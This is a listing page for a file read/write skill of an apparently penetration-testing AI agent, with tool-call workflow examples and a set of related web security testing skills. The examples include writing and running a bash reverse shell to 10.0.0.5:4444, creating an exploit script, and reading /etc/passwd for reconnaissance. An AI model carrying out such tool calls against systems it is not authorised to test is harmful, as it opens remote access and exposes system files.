AGENT SKILL
fileio
暂无简介
- License 许可
- AGPL-3.0
- 所属仓库
- 0xwi11iam/Suijin
- 最近更新
- 2026-11-14
- Stars
- ★ 24
- Forks
- 4
02 资源文件 5
- 脚本__init__.py50 B
- 脚本entry.py2.2 KB
- 脚本main.py836 B
- 参考文档manifest.json487 B
- 参考文档plugin.json410 B
03 SKILL.md 正文
File I/O (read_file, write_file)
Read and write files. Relative paths resolve to suijin_agent/; absolute paths work everywhere.
Installation
Built-in. No installation needed.
Parameters
read_file
| Parameter | Required | Description |
|---|---|---|
file_path |
Yes | Path to read. Relative -> suijin_agent/{path}. Absolute -> anywhere on system |
write_file
| Parameter | Required | Description |
|---|---|---|
file_path |
Yes | Path to write. Relative -> suijin_agent/{path}. Absolute -> anywhere |
content |
Yes | String content to write. Overwrites existing file |
Workflows
Write and execute a Python script
{"tool": "write_file", "args": {"file_path": "scripts/exploit.py", "content": "#!/usr/bin/env python3\nimport requests\nprint(requests.get('http://TARGET').text)"}}
{"tool": "execute_terminal", "args": {"cmd": "python3 scripts/exploit.py"}}
Write and run a Bash payload
{"tool": "write_file", "args": {"file_path": "payloads/rev.sh", "content": "#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.5/4444 0>&1"}}
{"tool": "execute_terminal", "args": {"cmd": "bash payloads/rev.sh"}}
Read config files for reconnaissance
{"tool": "read_file", "args": {"file_path": "/etc/passwd"}}
{"tool": "read_file", "args": {"file_path": "outputs/scan_result.txt"}}
Read from project directory
{"tool": "read_file", "args": {"file_path": "suijin/config.json"}}
Path Resolution Rules
| Input | Resolves to |
|---|---|
"scripts/test.py" |
suijin_agent/scripts/test.py |
"/etc/passwd" |
/etc/passwd (absolute preserved) |
"suijin/config.json" |
suijin_agent/suijin/config.json (relative to workspace) |
Tips
- Use
write_fileto create Python/Bash scripts, thenexecute_terminalto run them - Always write complex exploits as scripts rather than one-liners — easier to debug
- Store output captures in
outputs/for later reference
04 同仓库更多 Skills
WSTG Session Management Testing
Test session tokens for entropy, predictability, fixation, logout, timeout, cookie scope
★ 24
WSTG Information Gathering
Systematic information gathering: search engine discovery, web server fingerprinting, review page content for info leaka
★ 24
WSTG Identity & Authentication Testing
Test credential encryption in transit, authentication bypass, weak lockout, password reset, security question, multi-fac
★ 24
WSTG Error Handling Testing
Test for stack traces, verbose errors, CWE search, improper error handling
★ 24
WSTG Data Validation Testing
Test reflected/stored/DOM XSS, SQL injection, LDAP injection, ORM injection, command injection, format string
★ 24
WSTG Cryptography Testing
Test for weak SSL/TLS, padding oracle, weak encryption, clear-text transmission
★ 24